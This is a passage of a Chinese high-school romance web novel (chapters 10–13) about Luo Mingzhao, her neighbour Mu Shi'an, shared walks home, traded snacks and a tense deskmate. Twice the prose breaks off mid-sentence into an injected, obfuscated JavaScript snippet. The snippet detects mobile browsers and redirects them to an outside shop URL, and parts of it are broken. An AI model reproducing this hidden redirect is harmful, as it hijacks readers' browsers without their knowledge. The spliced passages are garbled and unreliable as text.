除了周一那天,这段时间都是她们三个女生一起吃饭,因为心知骆眀昭看到牧时桉就吃不下饭的莫名体质,梁若璇瞧着骆眀昭日益被摧残的苍白脸色,觉得起码得让她有个良好的就餐环境,便抛弃了大侄子,用的理由是,女孩子们有许多悄悄话讲。 骆眀昭朝着那边望一眼,牧时桉的脸刚好朝着她,脸上看不出什么表情,似乎在玩手机,很快她便收回视线,又咬了口手里的饼:“说起来,小璇这两天没跟你大侄子和薛游一起吃饭啊。” 林雨彤戳了一下她的胳膊:“还不是为了你。” “为了我?”骆眀昭眨了眨眼。 “我想跟你们俩一起吃饭啊,但是要是他们俩跟着来,你看着我侄子还能吃下饭吗?”梁若璇轻笑着,额间的碎发随着她轻微的动作而摆动,给那小巧漂亮的脸添了几分灵气。 好不容易遇到这么契合的朋友,她不想失去,这是梁若璇的心里话。 骆眀昭目光不经意落在梁若璇脸上,她正跟林雨彤说着什么趣事,笑得肆意。 手中剩下一半的手抓饼已经有些微凉,骆眀昭紧捏着,莫名看地出神。 她其实一直很好奇,像梁若璇或是牧时桉,甚至薛游,仅凭他们的外在形象,就足以让他们在高中校园内一呼百应,收人追捧,但他们都没有,很低调,不知道是不是自己多想,她总觉得三人给人感觉像是短暂驻足于校园中的外人。 但这不是她该问的,骆眀昭心知,她唯一能做的,就是做好一个合格的朋友。 - 晚自习放学铃响了,同桌胡晓月又很快收拾书包离开,她俩自从头天做同桌打了个招呼后,就没怎么说过话。 不过在这个班里,她也没什么跟人聊天的机会,有时看着前面牧时桉除了上课写作业就是在闷头睡觉,也挺无聊的。 收拾书包的功夫,牧时桉提着书包转过身,垂着眼看向她。 骆眀昭扬起脑袋看他:“走?” “嗯。”牧时桉点头,从座位里出去。 这几天放学他们都是一起回家的,实在是太顺路,骆眀昭也乐得有人陪着,虽说这个搭子话算不上多,但起码能聊上几句。 刚走出后门,正好撞上林雨彤和梁若璇挽着胳膊一块出来,她俩都是有“车”人士,还能顺便同骑一段路。 看见骆眀昭牧时桉一块走,她俩还有些惊奇,梁若璇仿佛看见什么稀奇事一般,揶揄着:“你居然会跟昭昭一块走啊?” 牧时桉插着口袋,散漫地立在骆眀昭身侧:“顺路。” 跟他一块回家这事,骆眀昭就没跟她俩说过,更确切点说,他俩就住上下楼,以及家里父辈那些说不清理不明的关系,她都没说,不过牧时桉有没有跟梁若璇说过她就不知道了。 开始她是觉得没必要说,估计他们今后也就是个点头之交,见面只说“嗨”的那种,谁能到想越混几个人越熟悉,再后来这几天被重点班的节奏搞得像拉磨的驴一样,在学校提不起精神,回家倒头就睡,就把这码事忘的干净。 姐妹多年,一瞧林雨彤当下放着光的目光,骆眀昭就知道四个字,坦白从宽。 走廊里满是学生,四个人堵在后门,骆眀昭招招手,轻叹了口气:“先出去,这人太多了。” 走到校园里的空旷处,骆眀昭就只好把事情从后头到尾全盘托出。 林雨彤瞪着眼看她:“所以你们这会儿住上下楼啊?” 骆眀昭:“嗯。” “行啊,你小子,藏的挺深,”梁若璇瞧了眼旁边默不作声的牧时桉,好像这事跟他没关系一样,“所以我哥跟昭昭爸妈还是同事呢,可太有缘分啦,说起来昭昭啊,叔叔阿姨都是哪个科室的啊?” 骆眀昭解释着:“我妈是口腔科的,我爸他现在不做大夫了,不过以前是神内的。” 梁若璇听到熟悉的关键词,一下子眼睛亮起起来:“神内?我哥没转行政之前就是在神内啊,说不定两人还是好朋友啊,哎呀,你说说这缘分。” 她早就觉得,自从认识了骆眀昭,大侄子跟从前就是不太一样,之前什么时候见过他跟人开玩笑,还主动分享自己的食物,不是她非要拉郎的,但看着就是有戏。 骆眀昭霎时语塞,被梁若璇挽住的胳膊感觉莫名地心虚,从唇角挤出两声笑意来。好朋友?大冤家还差不多。 “别乱猜了,不是朋友。”牧时桉忽地侧过脸,十分轻地吐出一句来。 停车区域打了非常明亮的大灯,梁若璇带着困惑的神色就这么明晃晃露在骆眀昭眼前:“不是朋友,是什么意思?” 额,这个。 趁着林雨彤和梁若璇去推电动车,骆眀昭脑袋里飞快运转着,尽量以很委婉的话来表述:“就是你懂的,人和人之间总有差异是吧,所以有磕碰很正常,是吧。” 梁若璇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13602997|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎明白了,推着车走到她旁边,不太确定地问:“所以,他们关系不好啊?” “Bingo,就是这个意思。”骆眀昭点点头。 林雨彤:“可,为什么啊?” 说实话,骆眀昭也不知道,反正从小她就清楚,老骆跟一个人不太对付,后来慢慢长大,才知道这个人究竟是谁,但具体冲突是从那开始的,她也不太明白。 四人一同朝着校门口走,骆眀昭想了会儿,讲出自己的猜测:“可能是因为医生跟行政之间总会偶尔发生些冲突吧?” 直到今天她还记得,老骆辞职前,最后一次因为牧正云生气的事。 当时是老骆出门诊,有个岁数有些大的老人,家属正好出去接了个电话不在诊室,开医保报销的处方单因为要录入信息所以慢些,老人不太懂这些,等的着急,于是出去以后就跟家属说,老骆在偷刷他医保卡里的钱,于是骆齐就又被投诉了。 骆眀昭说着转过脸,问了一句:“你还记得,牧叔叔在哪个科室吗?” “记得啊,不就是医务科……”好像就是主院内管投诉的啊,梁若璇愣了愣。 然后老骆就急了,回家以后大骂特骂,说什么患者不懂,他们还不懂操作流程吗?不过在之后不久,他也就辞职了,就再也没听他抱怨过。 骆眀昭:“这种事也不是一次两次啦,两边都有自己不容易的地方嘛。” 几人又聊了几句,就各自分散回家,骆眀昭和牧时桉还是一同结伴。 不知怎的,这一路上牧时桉耳朵上都挂着两个降噪耳机,好像没有什么想说话的念头。 今天意外有位置,两人就一前一后坐在倒数第一排和倒数第二排,安静地过了一路。又到熟悉的车站,停靠后车门打开,骆眀昭跟在他身后下了车。 直到,即将迈进单元门,牧时桉都始终没说过什么话。 骆眀昭猜了一路,觉得是不是她刚刚说到一些话,有冒犯到牧叔叔,三思之后,她伸出手,够着轻拍了拍男生的肩膀。 昏暗的楼梯间声控灯感应到声音而亮起散发着微弱的光亮,逆着光,牧时桉的五官模糊成一片,他朝着身后半转过身,抬手摘下一边的耳机。 “怎么?”他嗓音里透着些哑。 骆眀昭清咳一声,不太好意思地说:“那个,我就是想跟你说,我那会儿说的话,没有别的意思,牧叔叔也是在完成他的工作嘛。” 牧时桉从外套口袋里摸出白色的耳机仓,校服外套传来的沙沙摩擦声,在静谧的小区里,清晰非常,他又摘下挂在耳朵上的耳机,把它们都塞回去后,就转过身接着往楼道里走。 他声音很低,回一句:“嗯,我知道。” 骆眀昭抓着书包带,紧跟在他身后上楼,似乎是怕他不信,赶紧又说:“其实就老骆他这人心眼贼小,听不得人说他,就像我妈,还是很支持牧叔叔工作的哦。” 没办法,希望老骆别介意自家闺女在背后蛐蛐他。 二楼很快就到了,骆眀昭从兜里翻出钥匙,想着赶紧进屋,只是锁芯还没转,门就从里被推开,王乐萍就站在门口:“哎呀,闺女你终于回来了,你老娘我今天被投诉了,正愁没人听我说呢,你快进来,你不知道,行政那些人气死我了。” 不是,亲妈啊!我刚给你塑造成亲和亲切的人设,你怎么这么快就塌房啦! 骆眀昭手握在门把手上,感觉整个后背都在不自觉地冒冷汗,哪有刚说瞎话,下一秒就被戳穿的这种事啊! 她都不知道牧时桉走到了哪,有没有听到王乐萍说的话。 见她一直杵在门口,王乐萍一把将她拽进门,又顺手关上:“这孩子,怎么还不进来。” “嘭”一声,楼道里安静下来,只有房门里隐隐传来女人说话的声音。 牧时桉站在自家房门口,垂下眼,不自觉地唇角微微勾起。 11. 火鸡面 被王乐萍拉到沙发上的时候,骆眀昭脑子里还在飞速运转,刚刚牧时桉究竟有没有听到他们的对话。 希望没有吧,她只能干干巴巴地祈祷着。 王乐萍手上一把花生,正在滔滔不绝地念叨:“你爸今天回你爷爷家了,没人听我说,好不容易等到你回家。” 骆眀昭把书包摘下丢到一旁,窝坐在沙发角落上,也配合地抓了把花生:“怎么了?又出什么事了?” 王乐萍手舞足蹈地讲着,简单来说就是,今天有个病人重度龋齿,需要做根管,然后给患者开完髓、封完药之后,他忽然说想看看自己烂掉的牙长什么样子。 “那牙早就已经被药包住,我也不能说重新给他再打开,他又说被磨掉的那些牙呢?我说要不就让他漱口时吐出去,要不就被吸唾器吸走了,我后面还有好几个预约的病人呢,我就说话急了点,然后他就把我投诉了,说我态度不好。”王乐萍咬牙切齿地嚼着花生。 骆眀昭听得实在没忍住,噗嗤一声笑了出来,王乐萍原本就烦,看闺女这样,恶狠狠地推了她一把:“笑,你还笑,我快无语死了。” 正说笑时,兜里的手机震了下,王乐萍还在那边说着今天发生的其他事,骆眀昭把手机摸出来,亮起屏幕,一个汉堡的emoji映入眼帘。 卅:【听你妈妈诉苦呢?】 Shift!他果然是听到了! 骆眀昭捧着手机,一时间不知道该怎么回,这咋回,尴尬死了。 “咋啦?”王乐萍看她一副被炮轰过的衰样。 骆眀昭故作无碍,回道:“没啥,同学问我作业,你接着说。” 昭昭是我:【你都听见了?】 昭昭是我:【你别误会啊,没有说你爸爸,我妈就是随便吐槽几句,真的。】 牧正云和孙惠睡得都早,牧时桉进家门时,就在玄关处留了盏灯给他,他弯腰换鞋进门,提着书包轻手轻脚走向房间里,换了衣服就直接躺在床上。 高瘦的少年勉强缩在一张九十厘米宽的小床上,听孙惠说明天就会换掉他这张床,从家具城买了张新的,牧时桉其实想说不用,又没有挤到半条腿都露在外面,可以将就。 躺在床上的他,一只手随意地枕在脑后,另一个单手在翻动手机,从未拉窗帘的窗户外看出去,整个小区都透着寂静的黑,还亮着灯的人家很少,不知是不是他的幻觉,似乎能停下楼下母女两人的欢声笑语。 受到潜意识的驱使,他发出了那条微信。 却没想到很快就收到了回信。 安静到像是一粒灰尘移动都会发出噪音的小卧室里,传来少年人的鼻腔中透出一声很轻的笑意。 卅:【那我就相信了吧。】 嘿什么意思,当她忽悠人呢? 骆眀昭嘴角一撇,手指在屏幕上飞速敲打着。 昭昭是我:【你这话的意思,是当我胡说?】 昭昭是我:【我跟你说,我前半生,本本分分做人,勤勤恳恳做事,可从不做那偷鸡摸狗的事哈[严肃][严肃]。】 卅:【知道了。】 昭昭是我:【你就不能给我一个正面的支持和回复吗?】 卅:【那我相信你。】 骆眀昭嘴角不禁往上扬了扬,这还差不多嘛。 完全忘了是自己一开始给王女士立人设的。 王乐萍看自家闺女好像完全没有听她讲话的样子,还捧着手机傻笑,怨由心生,狠狠伸腿踹了她一脚:“笑屁啊。” “干嘛!”骆眀昭委屈着,“跟同学发消息呢,我们零零后聊天,你懂什么。” “嘿,我还治不了你个臭丫头了!”几秒钟后,果然,又是一脚。 - 等骆眀昭为了自己幸福周末赶完作业的时候,已是凌晨两点半。 关上台灯,飞速钻进自己小床中,几乎是下一秒就栽倒睡了过去。 王乐萍今天医院值班,骆齐又在看店,家里没人,骆眀昭随心所欲地睡着,再睁眼的时候,临近中午一点。 迷迷瞪瞪从枕头下摸出手机,头一件事就是打开外卖软件,想想今天第一顿该吃什么,其实她也不一定要点,下楼买也行,反正做饭就算了。 正刷着手机时,屏幕上方忽然有弹窗,又配合着叮当的消息提示音,把还没从半梦半醒的困劲中挣扎出来的骆眀昭彻底点醒。 揉揉眼睛后,她瞧见了那个熟悉的“汉堡”表情。 牧时桉的微信啊?骆眀昭伸手点进弹窗,一下就跳转到了微信聊天框的界面。 卅:【在家吗?】 卅:【我妈让我送东西来。】 骆眀昭怔愣几秒,大概是在出神中,很快她就反应过来,赶紧回道。 昭昭是我:【你等会儿下来啊。】 昭昭是我:【等我叫你。】 卅:【OK。】 骆眀昭忍不住掀起被子的一角,支起脑袋瞧了一眼自己身上的小碎花睡衣,这衣服也不能见人。 于是她赶紧翻身下床,换了身得体的短袖和休闲裤,又飞快地洗了把脸,用一根发箍把头发都掀上去,露出大光明来,虽然丑,但是显得精神啊。 等都收拾的差不多,她坐在沙发上,才后知后觉是不是有些不合适,人家送东西,还得让人家亲自来送,骆眀昭从一旁捞过手机。 昭昭是我:【我OK了,要不我上去吧,还麻烦你跑一趟。】 卅:【不会,现在下去。】 很快,一分钟不到,家门就被敲响了,骆眀昭快步过去,打开了门。 她扬起头,对上牧时桉落下的目光。 “来啦?”她招呼道,“进来吧。” 牧时桉摇摇头,背在身后的手递过一个透明的塑料饭盒,骆眀昭已经看到里面的内容物是什么:“不用了,我妈中午蒸了包子,让我给你们送些来。” 空气中隐隐漫着面粉的味道,骆眀昭轻嗅了嗅,目光微亮:“什么馅的啊?” 这一问,似乎问住了牧时桉,他顿在那,半天没回话,骆眀昭还以为是自己说话声太小,决定再问一遍,却听他说:“我忘了,要不上去我问问?” 额,果然是他。 骆眀昭扯扯嘴角,还是招呼他进门:“你先进来吧,我也有东西给你。” 说完,就后撤几步,让出玄关的空间,牧时桉大概是没想到,半晌,还是进了骆家。 抱着牧时桉拿来的饭盒,骆眀昭就小跑到厨房里,拿出个小碟子,打开饭盒从里面用筷子夹出两个包子,因为刚蒸好,盖上都是水汽,包子也是热的,她准备等牧时桉走就尝尝。 把剩下的包子塞进冰箱,又顺手把塑料饭盒洗干净,骆眀昭就死死瞪着屏幕,祈求王女士能赶紧回她微信。上次牧家送来葡萄后,王乐萍隔天就回送了一小盒点心回去,用她的话说,有来有往才是领居。 人还没来的时候,她就已经微信救助王乐萍,家里有什么东西能回赠吗? 可惜到现在,手机仍安静如鸡。 牧时桉还等在外面,靠墙安静站着,骆眀昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13602998|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透过厨房玻璃,能瞧见他的身影。 忽地,手机在厨房台面上震了一下,她一个箭步冲过去,拿起手机。 幸福小王:【你给小牧拿点你们小孩爱吃的零食,你那柜里不是有不少呢?】 零食啊,她确实有不少,也是个主意。 用厨房纸巾擦干表面的水,骆眀昭使劲甩了又甩,拿着饭盒走出厨房,牧时桉察觉门被推开的声音,侧过脸看她。 骆眀昭迎面朝着他走来,把饭盒递给他:“给。” “你洗过了?”牧时桉愣了愣。 “当然了。”骆眀昭一脸的理所应当,“等我一会儿啊,马上。” 说完,她走到饭桌旁的餐边柜,蹲下打开柜门,这个柜子里一边屯放家里的米面粮油外,另一边的柜子就全是她平时屯的小零食们,五花八门。 大概是因为有过疫情封控时,买不到零嘴的时候,后来的骆眀昭就总是把柜子填得满当当的,自己吃不了就分给小姐妹们或是同学。 骆眀昭几乎将整个人都埋了进去,在柜子里翻翻找找。 “用我帮你吗?”牧时桉的声音从身后传来,配合着零食包装袋“刺啦”的声音,不太清晰。 骆眀昭没回头,就朝后伸出只胳膊,摆摆手,示意不用,牧时桉就插着兜靠在墙边,静静瞧着她找,等她再起身的时候,手里花花绿绿的,不知抱着什么。 她走上前,把手里的东西交给牧时桉,无意识下,两人指尖一触即离。 骆眀昭感觉摸到什么温温热热的物体,莫名有些丝丝麻意,她也没在意,就这么抽回了手。 牧时桉望着她亮晶晶的棕褐色浅眸愣了几秒,很快回过神问道:“这是什么?” “韩国火鸡面啊,你没吃过啊?”骆眀昭回他。 他说:“知道,但没吃过。” 前段时间,跟林雨彤一起拼团买的,不过小林同学是帮自己母上大人买的,林妈妈爱吃,骆眀昭也爱吃,尤其是配上芝士和年糕。 不知怎么,她就觉得牧时桉可能是没吃过,这一问果然,存货里就剩这两包粉袋的,这个奶油味不算辣,普适性比较强,他应该可以吃。 “这个味道不是太辣,你应该可以接受,网上有煮的教程,加点年糕和芝士就完美啦……”骆眀昭滔滔不绝地讲着自己的煮面经验。 牧时桉垂下眼,看着她,轻声打断:“为什么要给我这个?” 脑门上的发箍悄悄滑了下来,骆眀昭伸手扶住它,思考片刻然后说:“因为你也给我送吃的了嘛,咱们礼尚往来,这应该就算,火鸡面外交。” “火鸡面外交。”牧时桉嘴唇微动,用很低的声音重复了一遍骆眀昭的话,随后轻笑了一声,“好,我知道了。” 那笑意就像调皮的小精灵,就这么猛地钻进骆眀昭的耳朵里,她看的出神,帅哥笑起来就是好看,她想着。 - 很快,牧时桉就带着干净的空盒和火鸡面,回了家。 孙惠正在厨房洗碗,听见声音,顺口问了句:“回来了?” 牧时桉嗯了一声,就拿着塑料餐盒走进厨房,随手放在操作台上。 “眀昭还给洗啦?这孩子。”孙惠拿起空盒左右转着看了眼。 放下餐盒,牧时桉就要踏出厨房门,火鸡面的包装袋在他的手里沙沙作响,孙惠埋着头在给餐具冲水,余光就瞧了那么一眼,也没细看:“什么声音,你手里拿的什么?” 牧时桉大步走出去,淡淡留下一句。 “外交礼物。” 12. 薄荷糖 都说人是很能适应的动物,这一句一点也没错,绕是骆眀昭第一周对于重点班的高压有多么的绝望,第二周,她也已经心平气和地接受,如鱼得水。 比起那几天无聊时,她只能悄悄躲在书堆后给姐妹小群发微信诉苦,或是戳戳前桌牧大帅哥的后背,塞张小纸条过去解闷,前提他人是醒着的,但这两天已经在班里认识了好几个新同学。 她也才发现,学习之余,这些学霸们也都挺有意思的。 比如第一天来一班认识的李夏,原来是个隐藏的腐女,私下小说漫画广播剧都来的;又或者是牧时桉同桌男生韩进奇,班里的学习委员,但其实是个老二次元…… 只是她广撒网,各种交际,却始终没有跟自己的同桌胡晓月有更多的了解,每每歪头看她的时候,好像都在学习,或者一个人不知道安静地在低头看什么。 周五上午第四节课是万众期待的体育课,但实际上八中为了给学生减负,每周还会单安排出一节活动课,可毕竟体育课还是一众学生们心目中的白月光,地位是不一样的。 几番集体热身运动后,体育老师一声令下解散,大家跟着拍手后,就各自聚团去玩,刚一散开,骆眀昭就被新认识的女生尹菲拉去找角落斗地主了,还包括李夏。 当然学校是不允许带扑克牌的,但还是拦不住学生们阳奉阴违,总爱做些疯狂试探校规校纪底线的事,空旷的操场容易被发现,尹菲就带着她们去篮球场的看台,背过身看不出来。 底下篮球场上一众男生正在打篮球,少年们在阳光下挥洒着热血,但比起竞技体育,骆眀昭还是更喜欢这种智力纸牌游戏。 “对A。”骆眀昭饱满明媚的脸颊上,透着股小狐狸的狡黠之气,将手里的牌甩在身旁座椅上。 地主尹菲哭丧着脸:“你咋这么多对子啊。” 骆眀昭嘿嘿一笑:“四个三,炸,我跑喽,农民起义成功!” 一旁没说话的李夏也被她感染,两人伸手击掌庆祝。 尹菲越打越精神,边洗着牌,边念叨着:“嘿,我就不信了,今天一把我也赢不了。” 正说着,底下的篮球场上忽地起了更大的欢呼声,三人好奇,边都回过头朝着下面望去,场边围着比刚刚更多的同学,连高一来上体育课的学生也来看。 “怎么一下子怎么多人啊,詹姆斯亲自来八中啦?”骆眀昭有一点近视,但平时只有上课会戴眼镜,所以她只能很努力的把眼睛眯起来。 尹菲被她的胡说八道逗笑:“你觉得可能吗?不是詹姆斯,是詹姆桉。” “詹姆桉?”还有这么个篮球明星吗?她怎么不知道。 尹菲指着球场上移动的一个身影,说道:“牧时桉啊,那不就是。” 牧时桉啊?骆眀昭这下好奇了,从来见牧时桉都是那副懒洋洋的模样,还从没看过他打篮球呢。 带着层朦胧滤镜的世界里,她只能努力辨认出那个跃起的身影是牧时桉,要是有手机的话,她就能用摄像头放大看看,不过八中允许带手机,但不许上课时使用,体育课也是课,一旦看见会没收。 想了半天,骆眀昭把手攥成鸡爪状,大拇指和食指指尖交汇,露出一个小孔,小孔成像,她眯起一只眼,用另一只眼透过这个小孔朝着台下球场上看,虽然也模糊,但至少能分辨出他的五官来。 就在那么个小小的孔中,就只能容下少年一人,骆眀昭眸光锁定那个身影,大概是怕穿着外套不方便,他穿着半袖,冷白色的皮肤在阳光下曝光,运着球,闪躲对手,穿梭在球场中,临近篮筐时,轻身一跃,将球扣在篮筐里。 “我去,扣篮啦。”骆眀昭看得也激动,不愧是她前桌,就是帅。 李夏看着她这幅略带些猥琐的样子,不由得好奇:“眀昭,你干嘛呢?” “哦,我有点近视,这样看得清楚点。”她解释道。 然后,李夏就从脸上摘下了自己的眼镜:“你可以戴我的啊,三百多度。” 骆眀昭猛地惊醒,一瞬间放下手,也是哦。 “不过不用啦,我都看到扣篮啦,估计之后也没什么更精彩的场面了。” 尹菲却在一旁说:“牧时桉打篮球,你还是多看几眼吧,看一次少一次,我跟他从高一就一直同班,就也看过那么一次而已。” 骆眀昭转过脸,问:“怎么,他平时不打啊?” 尹菲说:“不打啊,他技术挺好的,但不爱上场,就那么一回是班级赛,在决赛他上场了,估计这次也是跟哪个班打,然后被男生拽上场的吧。” “哇!” 底下的围观的学生们再次兴奋欢呼,看到全程的李夏帮她转播:“牧时桉进球。” 这种激动感,是因为初次看牧时桉打篮球而产生的一种暂时的兴奋,再多看几眼,骆眀昭就只会感到兴致缺缺。 于是她提议:“要不咱们接着斗吧,看得有点没意思。” 李夏、尹菲:“同意。” 三人又侧过身,悄悄发起牌,不过在回过身的前一秒,骆眀昭的视线落在斜下方的一层看台,坐着一个梳着马尾的女生,露出一小截侧脸她认出,这是她同桌。 胡晓月手中捧着的应该是个小小单词本,不过她的目光则落在正前方的球场上。 没想到她同桌也喜欢看篮球吗? 她忍不住多看两眼,尹菲却伸手推推她:“快,该叫地主啦。” “哦哦。” - 临近下课点,篮球场上还热火朝天的,只不过她们的斗智斗勇的纸牌竞技却只能被迫终止。因为体育老师也过来看球赛,再大胆也不敢当着老师的面进行,就只能灰溜溜收起纸牌。 三人走下看台,那边校园里打响下课铃,这边临时篮球赛也刚好结束。 尹菲说看见自己外班好友,就小跑着离开,剩骆眀昭和李夏,慢悠悠往教学楼的方向溜达,身后一群刚打完篮球的男生,勾肩搭背地说笑,估计是还没平复体内那股躁动的激情。 刚走过橡胶跑道,骆眀昭就感觉身后好像跟着个人,她下意识地回过头,就瞧见牧时桉正独自走过来,额角的汗珠在发着光,运动后,小臂凸起淡淡的青筋,校服外套则是被他随意搭在肩上。 骆眀昭就瞅了几眼比赛,更别说看到结尾,于是好奇问:“怎么说?比赛什么结果?” 牧时桉几步就追上她,与她并着排,轻挑眉梢:“我好像看见你在看台上。” 这话的意思就是,你既然在看台,所以没有看比赛吗? 总有种被抓包的感觉,骆眀昭不好意思地轻咳一声,目光乱飘:“那啥,后来就没看了不是,下次,下次我肯定看完。” 上午就剩最后一节课,临近午间太阳愈发耀眼,配合着女生的速度,牧时桉放慢了速度,眼眸余光落在骆眀昭的头顶,勾起他漫不经心的一笑。 他视力很好,比赛过程中早就瞅见骆眀昭几乎全程都背过身,不知在做些什么,问起结果,只是忽然想看看她会作何反应,所以那么说。 “赢了。”半晌后,他回。 骆眀昭又好奇:“那是跟哪个班打啊?” 牧时桉:“六班。” 原来如此。 骆眀昭揣着兜,无意中摸到什么东西,是个小方盒,她这才想起来,昨天晚餐后跟林雨彤梁若璇去逛校园超市,看到一个葡萄味的薄荷糖没吃过,她顺手买了一盒,想用来晚自 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骆眀昭眼睛笑眯眯的,出声道:“本来按照国际标准,应该给你两颗的,不过鉴于你刚刚赢得了比赛,所以破例给你三颗,是不是非常人性化。” “赢了比赛就值一颗?”牧时桉眯了下眼,微微一笑。 骆眀昭把盒盖一合,塞回外套口袋里,很无情地说:“啧啧,一颗就可以了好吗,你快吃吧。” 话落,牧时桉抬手将三颗糖果送进口中,下一秒尝到葡萄和薄荷的复合味道,舌面与上颚一抵,更激烈的味道就在口腔爆炸,那股触电般的凉意从上至下,似乎穿过他的全身。 “好吃吧?”骆眀昭瞪着眼问他,希望这位饭缩力大师识货。 牧时桉插着兜,侧过脸来,清清淡淡地“嗯”了一声。 大抵只是他的错觉,他似乎从薄荷糖里品出些旁的甜味来。 骆眀昭喜滋滋的,笑着说:“是吧是吧。” 三人踏进教学楼时,正好林雨彤和梁若璇正挽着手去上厕所,骆眀昭看见她们就朝她们跑,隔着老远就开口叫:“你俩快尝尝我新买的薄荷糖,超级好吃!” “能不能等上完厕所再给我!大姐!”林雨彤怒吼着。 后面牧时桉的视线,寸步不离地落在了骆眀昭的背影上。 - 等跟着她们去完厕所,又硬性地给她们塞了几颗糖,并且强迫她们说好吃,骆眀昭就一蹦一跳地回了班,上完体育课,大家那颗躁动的心难以平复,于是平时噪音甚少的重点班,也嘈杂起来。 回座位时,胡晓月已经在座位上了,不过却是闷着头,趴在桌上,同桌没学习,骆眀昭不禁多看她几眼,然后就小心翼翼拉出椅子坐在自己位置上。 她伸手戳戳前面的牧时桉,他转过来后,骆眀昭附过身压低声音:“我同桌一直就这样?” 牧时桉摇头:“不知道,我回来的时候,座位上没人。” 那是怎么了?生病了吗? 骆眀昭支着脑袋歪头看她,犹豫着是不该关心一下。 正想着,梁若璇的脑袋忽地出现在班级后门,扬声叫她:“昭昭,喝喜茶吗?” 骆眀昭刚准备大声回,想想身边胡晓月好像还难受着,于是手比划着,同时压低声音回了句:“好,多肉葡萄。” 话音刚落,原本趴着的胡晓月忽地支起身子,转过脸朝向她,瞧不出一点情绪,语气生硬:“你可不可以消停一会儿?” 骆眀昭比划着的手还举着没放下,看着不知怎得就烦躁起的胡晓月,顿一小会儿,然后压低声音问道:“你身体不舒服吗?” 13. 炸猪排饭 也许话说出口,连胡晓月自己都没反应过来,直到对上骆眀昭怔愣的眼色,她才猛地涨红了脸,难为情地留下一句:“没有!” 就再次闷声趴在桌上,不知在想些什么。 骆眀昭沉默着,对还站在后门的梁若璇摆摆手,示意让她先走,自己坐正身子后,撑着胳膊,望着窗外的某处出神,她大概是在看一处垂在窗边的树枝,在随着微风轻柔地舞动,牵引着她的思绪。 脑中就仿佛是走马灯,尽她所能地回想做同桌的这一周,胡晓月有没有什么异常之处,又想了一遍,自己有没有冒犯到她的地方,直到上课铃打响,蔡杨拿着一摞考卷走进教室。 分班考后,蔡杨卸下班主任的担子,专心致志地做任课教师,骆眀昭也是前段时间才知道,每天不着调的老蔡居然是特级教师,真是大隐隐于市。 骆眀昭还记得分班那个晚自习,他还在讲台上煽情,搞得像周围放了热门短视频催泪音乐合集一样,连自己都被他搞得鼻子酸胀,谁能想到隔天就在一班看到他,她就说怎么那天临走,蔡杨留给她个莫名其妙的眼神,她还以为老蔡这么舍不得她这个学生。 蔡杨站在讲台之上,打开着多媒体:“我把晚练的试卷给大家讲评一下啊,课代表上来发下卷子。” 几秒钟过去,全班鸦雀无声没人应他,他看着众人的目光都汇聚后排,插着腰又叫一遍:“骆眀昭!上来发卷子!” 耳边似乎隐隐传来她的名字,骆眀昭撑着脸愣了几秒,随后课桌从前猛地被人一推,她才后知后觉回过神,看向讲台上歪着头看她的蔡杨,赶紧站起身,小跑上去:“到到到,我来了。” 等她跑到讲台前,手即将摸到试卷前,就猝不及防地被用卷子打了记爆栗,纸轻飘飘的压根没力度,但是丢人,蔡杨没好气地看她:“真的是,作为课代表,居然明目张胆走神,岂有此理。” 骆眀昭伸手拿起那摞卷子,四处分发,等到完全背过身才敢吐槽。 还不是选课代表时,没人呼应老蔡,冷场好久,她看不下去才举手示意,那天拿她当个宝的又不是你老蔡了。 当了两周课代表,她已经能对上班里众人的名字,围着过道到处转时,手拿起下一张,上面是个笔触秀气的名字,胡晓月。骆眀昭看着这张沉思片刻,绕到她们的位置,把手中的卷子轻放在胡晓月的桌上,就转身再去发下一张。 胡晓月拿起试卷时,两人视线短暂交汇,胡晓月先一步,迅速而又生硬地偏过目光。 在她走神的那段时间,骆眀昭想清了一件事,她自觉她没有做过什么影响胡晓月的学习、扰乱她秩序和习惯的事情,所以这股莫名的不耐烦情绪问题不在自已,可能她们中间产生过什么误会,或是胡晓月单方面就是个难以相处的人。 想通之后,她发试卷的步伐也轻快些。 - 满打满算,林雨彤和骆眀昭相识也有六年多,她是从新延转到绮城的小学,然后认识了骆眀昭。 虽然没到骆眀昭撅起屁股都知道她要放什么样的屁,起码也了解不少,像现在这幅捏着勺子灵魂出走的模样,摆明就是有什么心事困扰着她。 林雨彤屈指轻叩桌面,唤道:“喂,醒醒,你的炸猪排。” “不,是你的炸猪排。”梁若璇坐在饭桌对面跟她深情对视,歪头贱兮兮地接茬。 林雨彤太阳穴跳了跳:“小梁子,退下。” “喳。” 林雨彤觉得,当初觉得梁若璇是高冷女神,是她生平唯一一次看走了眼。 骆眀昭猛地回过神来:“怎么啦?猪排怎么啦?” “你再这么发呆下去,你的猪排就不脆了,还会好吃吗?”林雨彤指指桌上那份炸猪排饭,说道。 被林雨彤这么提醒,骆眀昭赶紧俯下身,猛扒了几口,金黄色的炸猪排被切好码在米饭上,还浇着一层煮得软烂的胡萝卜土豆咖喱,还是提醒地及时,猪排表面幸好还是脆的。 “想什么呢?中午那会儿吃饭就看你一副魂不守舍的模样。”林雨彤吸了一口手里的白粥,出声问道。 骆眀昭埋下头默默吃着,今天她的座位周围,一直围绕着很诡异的氛围,其实她一天都在想怎么找个时机跟胡晓月开诚布公的聊聊,如果有误会能解开就好,如果不能就找班主任宋晓提提换座的事情。 